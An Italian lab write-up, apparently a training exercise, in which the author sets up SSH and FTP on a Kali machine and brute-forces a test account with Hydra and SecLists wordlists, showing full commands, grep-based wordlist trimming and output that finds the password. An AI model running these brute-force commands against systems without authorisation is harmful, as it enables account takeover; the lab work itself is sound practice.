

In questa esercitazione andrò a configurare un nuovo utente sulla macchina kali, abilitare il servizio SSH e infine Hydra per craccare le credenziali.

Come compito opzionale dove dobbiamo configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Come prima cosa creo un nuovo user su kali. Per farlo uso il comando “adduser” da terminale con i permessi di amministratore e assegno come user “test\_user” e come password “testpass”

Successivamente attivo il servizio ssh con il comando  
sudo service ssh start

```
(root@kali)-[/home/kali]
# adduser test_user
info: Adding user 'test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group 'test_user' (1001) ...
info: Adding new user 'test_user' (1001) with group 'test_user (1001)'
...
info: Creating home directory '/home/test_user' ...
info: Copying files from '/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y
info: Adding new user 'test_user' to supplemental / extra groups 'user
s' ...
info: Adding user 'test_user' to group 'users' ...

(root@kali)-[/home/kali]
# sudo service ssh start

(root@kali)-[/home/kali]
#
```

Testo la connessione SSH dell’user appena creato con il comando ssh [test\\_user@ip\\_kali](#).

Si può notare come una volta terminato abbiamo effettuato la connessione a test\_user al servizio SSH e ora che ho verificato l’accesso procedo con il cracking della password con Hydra

```
(root@kali)-[/home/kali]
# ssh test_user@192.168.1.217
The authenticity of host '192.168.1.217 (192.168.1.217)' can't be estab
lished.
ED25519 key fingerprint is SHA256:tgYGVlnKbDDbx149yrvDEm5U7Tt+tEGLDx0mX
rbift4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? ye
s
Warning: Permanently added '192.168.1.217' (ED25519) to the list of kno
wn hosts.
test_user@192.168.1.217's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-kali2 (2024
-05-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

(test_user@kali)-[~]
$
```

Ho scaricato una collezione di username e password di nome Seclists, contiene elenchi di username e password piuttosto vasto. Con il comando sudo apt-get install seclists ho eseguito l’installazione.

Apro un nuovo terminale e inserisco il comando  
hydra -L  
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P  
/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt  
ssh://192.168.1.217 -t4 -V

Come si può notare il processo potrebbe richiedere molto tempo

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernam
es.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-
1000000.txt ssh://192.168.1.217 -t 4 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
use in military or secret service organizations, or for illegal purpo
ses (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11
-08 05:47:08
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I
to skip waiting)) from a previous session found, to prevent overwritin
g, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500000 login
tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.1.217:22/
[ATTEMPT] target 192.168.1.217 - login "info" - pass "123456" - 1 of 8
295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.217 - login "info" - pass "password" - 2 of
8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.217 - login "info" - pass "12345678" - 3 of
8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.217 - login "info" - pass "qwerty" - 4 of 8
295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.217 - login "info" - pass "123456789" - 5 o
f 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.217 - login "info" - pass "12345" - 6 of 82
95455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.217 - login "info" - pass "1234" - 7 of 829
5455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.217 - login "info" - pass "111111" - 8 of 8
295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.217 - login "info" - pass "1234567" - 9 of
8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.217 - login "info" - pass "dragon" - 10 of
```

Nella seconda parte dell'esercizio eseguo gli stessi passaggi ma per un altro servizio, ftp, lo installo con il comando `sudo apt-get install vsftpd`, poi avvio il servizio con `service vsftpd start`

```
(kali@kali)-[~]
└─$ sudo apt-get update
sudo apt-get install vsftpd
[sudo] password for kali:
Hit:1 http://http.kali.org/kali kali-rolling InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 1775 not upgraded.
Need to get 142 kB of archives.
After this operation, 352 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 1s (276 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 402309 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.12.1-2) ...
Processing triggers for kali-menu (2024.3.1) ...

(kali@kali)-[~]
└─$ sudo service vsftpd start

(kali@kali)-[~]
└─$
```

Un altro metodo che aiuta a velocizzare è quello di dividere la lista in liste più piccole usando grep, creo dei file di testo filtrati con una o più parole chiave per ridurre la grandezza della lista.

Per gli user ho usato

```
grep -i "test" /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt >
filtered_usernames.txt
```

Per la password

```
grep -i "test" /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000000.txt >
filtered_passwords.txt
```

Infine uso il comando hydra con il path del nuovo file

```
hydra -L /home/kali/Desktop/hydra/super_filtered_usernames.txt -P
/home/kali/Desktop/hydra/super_filtered_passwords.txt ftp://192.168.1.217 -t64 -f
```

Questo metodo riduce i tempi di attesa che, in base alla macchina che si sta usando, potrebbe richiedere molto più tempo di quanto noi ne abbiamo a disposizione

```
(kali@kali)-[~]
└─$ hydra -L /home/kali/Desktop/hydra/super_filtered_usernames.txt -P
/home/kali/Desktop/hydra/super_filtered_passwords.txt ftp://192.168.1.
217 -t64 -f
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
use in military or secret service organizations, or for illegal purpo
ses (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11
-08 08:57:45
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I
to skip waiting)) from a previous session found, to prevent overwritin
g, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 553 login tries (l
:79/p:7), ~9 tries per task
[DATA] attacking ftp://192.168.1.217:21/
[21][ftp] host: 192.168.1.217 login: test_user password: testpass
[STATUS] attack finished for 192.168.1.217 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11
-08 08:57:56
```

Hydra:

-L indica che vogliamo fare più di un singolo tentativo (-l) per gli user e gli diamo una lista.txt

-P stessa cosa ma con le password

-t64 sono i threads che vogliamo aprire, indica quante task vogliamo fare eseguire contemporaneamente alla macchina

-f che il comando si ferma subito dopo avere avuto un riscontro positivo

-V stampa su terminal i tentativi che si effettuano in realtime